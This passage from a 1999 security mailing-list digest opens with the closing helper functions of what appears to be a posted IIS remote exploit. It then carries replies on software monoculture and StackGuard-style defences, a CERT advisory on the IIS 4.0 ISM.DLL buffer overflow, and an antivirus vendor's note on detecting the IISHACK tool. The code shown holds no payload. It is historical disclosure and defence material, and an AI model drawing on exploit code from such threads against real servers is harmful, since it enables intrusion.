long i;
struct hostent *he;
i = inet_addr(host);
if (i == -1) {
he = gethostbyname(host);
if (he == NULL) {
return (0);
} else {
return (*(unsigned long *) he->h_addr);
}
}
return (i);
}
void
net_write (int fd, const char *str, ...)
{
char tmp[8192];
va_list vl;
int i;
va_start(vl, str);
memset(tmp, 0, sizeof(tmp));
i = vsnprintf(tmp, sizeof(tmp), str, vl);
va_end(vl);
send(fd, tmp, i, 0);
return;
}
--------------------------------------------------------------------------------
Date: Wed, 16 Jun 1999 19:09:42 GMT
From: Ethan Benatan <[email protected]>
To: [email protected]
Subject: Re: IIS Remote Exploit (injection code)
>>> "Greg" == Greg Hoglund <[email protected]> writes:
Greg> I read yesturday on eEye.com that they had discovered a buffer
Greg> overflow in IIS.....
<snip>
Greg> Lastly, I would simply like to point out that monoculture
Greg> installations are very dangerous. It's a concept from
Greg> agribusiness.. if you have all one crop, and a virus comes
Greg> along that can kill that crop, your out of business.
Very true, and this is a terrifically important message to get out.
Not to be pedantic but actually it is a concept from ecology: the
"business", as Greg puts it, can be any system. Diversity makes for
resilience, and vice versa. Okay aleph, it's not a bug but it is a
way we should be thinking.
Greg> With
Greg> almost ALL of the IIS servers on the net being vulnerable to
Greg> this exploit, we also have a monoculture. And, it's not just
Greg> IIS. The backbone of the Internet is built on common router
Greg> technology (such as cisco IOS). If a serious exploit comes
Greg> along for the IOS kernel, can you imagine the darkness that
Greg> will fall?
Ethan
[email protected]
--------------------------------------------------------------------------------
Date: Wed, 16 Jun 1999 16:40:25 -0400
From: Dug Song <[email protected]>
To: [email protected]
Subject: Re: IIS Remote Exploit (injection code)
On Wed, 16 Jun 1999, Ethan Benatan wrote:
> Very true, and this is a terrifically important message to get out...
> Diversity makes for resilience, and vice versa.
see stephanie forrest's work on computer immunology:
http://www.cs.unm.edu/~immsec/
and to a lesser extent, random "canary" values in StackGuard:
http://www.cse.ogi.edu/DISC/projects/immunix/StackGuard/
and the introduction of randomness to defeat race attacks, predictable
sequence number attacks, etc. in OpenBSD:
http://www.openbsd.org/crypto.html
-d.
---
http://www.monkey.org/~dugsong/
--------------------------------------------------------------------------------
Date: Wed, 16 Jun 1999 15:03:52 -0700
From: Crispin Cowan <[email protected]>
To: [email protected]
Subject: Diversity (was: IIS Remote Exploit (injection code))
Dug Song wrote:
> On Wed, 16 Jun 1999, Ethan Benatan wrote:
>
> > Very true, and this is a terrifically important message to get out...
> > Diversity makes for resilience, and vice versa.
>
> see stephanie forrest's work on computer immunology:
>
> http://www.cs.unm.edu/~immsec/
>
> and to a lesser extent, random "canary" values in StackGuard:
>
> http://www.cse.ogi.edu/DISC/projects/immunix/StackGuard/
StackGuard came about because we investigated the approach of using
diversity to resist attack, and found it to be VERY limited in
effectiveness. The core problem is that when you change things, you
create incompatabilities for friend and foe alike, i.e. a diversity hack
strong enough to defeat an attacker is also likely to break a lot of
YOUR applications. This occurs because:
* The diversity hack must preserve many invariants that are necessary
to keep legitimate applications running, and these invariants are
often subtle and unknown, e.g. Linux applications that only work on
Red Hat systems.
* Simultaneously, the diversity hack must BREAK the invariants that the
attacker depends on, and these invariants are mostly unknown. If you
knew what they were, you would have fixed the bug :-)
Having discovered that diversity is hard to make both effective and
practical, we moved on to study what we call "restrictions." A
restriction prohibits certain classes of behavior that are always known to
be bad, e.g. changing the return address of an active function, which is
what stack smashes try to do, and what StackGuard prevents.
It is our conjecture that for every diversity hack that one can propose,
there is a restriction hack that is easier to deploy and more effective.
This has been true in practice as we try to construct security-enhancing
tools.
Full papers on these ideas can be found here:
http://www.cse.ogi.edu/DISC/projects/immunix/survivability.html
Crispin
-----
Crispin Cowan, Research Assistant Professor of Computer Science, OGI
NEW: Protect Your Linux Host with StackGuard'd Programs :FREE
http://www.cse.ogi.edu/DISC/projects/immunix/StackGuard/
Microsoft: Putting the "lame" in "layman"
--------------------------------------------------------------------------------
Date: Wed, 16 Jun 1999 16:30:12 -0400
From: CERT Advisory <[email protected]>
Reply-To: [email protected]
To: [email protected]
Subject: CERT Advisory CA-99.07 - IIS Buffer Overflow
-----BEGIN PGP SIGNED MESSAGE-----
CERT Advisory CA-99-07 IIS Buffer Overflow
Originally released: June 16, 1999
Source: CERT/CC
Systems Affected
* Machines running Microsoft Internet Information Server 4.0.
I. Description
A buffer overflow vulnerability affecting Microsoft Internet
Information Server 4.0 has been discovered in the ISM.DLL library.
According to Microsoft, ISM.DLL is the "filter DLL that processes .HTR
files. HTR files enable remote administration of user passwords."
A tool to exploit this vulnerability has been publicly released.
II. Impact
This vulnerability allows remote intruders to execute arbitrary code
with the privileges of the IIS server. Additionally, intruders can use
this vulnerability to crash vulnerable IIS processes.
III. Solution
Microsoft has released Microsoft Security Bulletin MS99-019 describing
a workaround to this problem. Additionally, Microsoft is working on a
patch to fix this problem; information regarding this patch will be
available in the Microsoft Security Bulletin. We encourage you to read
this bulletin, available from
http://www.microsoft.com/security/bulletins/ms99-019.asp
We will update this advisory as more information becomes available.
Please check the CERT/CC web site for the most current revision.
______________________________________________________________________
This document is available from:
http://www.cert.org/advisories/CA-99-07-IIS-Buffer-Overflow.html.
______________________________________________________________________
CERT/CC Contact Information
Email: [email protected]
Phone: +1 412-268-7090 (24-hour hotline)
Fax: +1 412-268-6989
Postal address:
CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh PA 15213-3890
U.S.A.
CERT personnel answer the hotline 08:00-20:00 EST(GMT-5) / EDT(GMT-4)
Monday through Friday; they are on call for emergencies during other
hours, on U.S. holidays, and on weekends.
Using encryption
We strongly urge you to encrypt sensitive information sent by email.
Our public PGP key is available from http://www.cert.org/CERT_PGP.key.
If you prefer to use DES, please call the CERT hotline for more
information.
Getting security information
CERT publications and other security information are available from
our web site http://www.cert.org/.
To be added to our mailing list for advisories and bulletins, send
email to [email protected] and include SUBSCRIBE
your-email-address in the subject of your message.
Copyright 1999 Carnegie Mellon University.
Conditions for use, disclaimers, and sponsorship information can be
found in http://www.cert.org/legal_stuff.html.
* "CERT" and "CERT Coordination Center" are registered in the U.S.
Patent and Trademark Office
______________________________________________________________________
NO WARRANTY
Any material furnished by Carnegie Mellon University and the Software
Engineering Institute is furnished on an "as is" basis. Carnegie
Mellon University makes no warranties of any kind, either expressed or
implied as to any matter including, but not limited to, warranty of
fitness for a particular purpose or merchantability, exclusivity or
results obtained from use of the material. Carnegie Mellon University
does not make any warranty of any kind with respect to freedom from
patent, trademark, or copyright infringement.
Revision History
June 16, 1999: Initial release
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
iQCUAwUBN2gDVnVP+x0t4w7BAQE5EwP1GxYDqIPNlqd1SzIRlgS/k8ir75NIWEly
+N4QqpEjR/1xWzBiro2Z94ZXD8GTugkkjxsyQgOdzMe3iWj8apbrokA6aRfOJ+4B
lth2LgpurSU8TDmuo+miSBnS7joWaLzD6q/IAfYFb5wE890Lrale27uJVq+adqB+
+U3S1Pga2Q==
=iOIZ
-----END PGP SIGNATURE-----
--------------------------------------------------------------------------------
Date: Mon, 21 Jun 1999 12:23:27 +0300
From: Mikko Hypponen <[email protected]>
To: [email protected]
Subject: Re: Alert: Microsoft Security Bulletin (MS99-019) - IIS Fix Available
Russ:
>Microsoft have released a patch for IIS 4.0 which addresses the issues
>uncovered by eEye.
Also, if you want to monitor who's running IISHACK in your organisation,
we've added detection of this tool (as a trojan horse) into latest updates
for F-Secure Anti-Virus. This detects the original IISHACK.EXE as released
by eEye with the name "Trojan.IIS_Hack".
For more information, see our Virus News Updates at:
http://www.datafellows.com/news/vir-news/
--
Mikko Hermanni Hyppönen, [email protected]
Manager, Anti-Virus Research, Data Fellows Corp.
Integrated Solutions for Enterprise Security
Tel +358 9 8599 0513 - fax +358 9 8599 0713
http://www.DataFellows.com/staff/hermanni/
`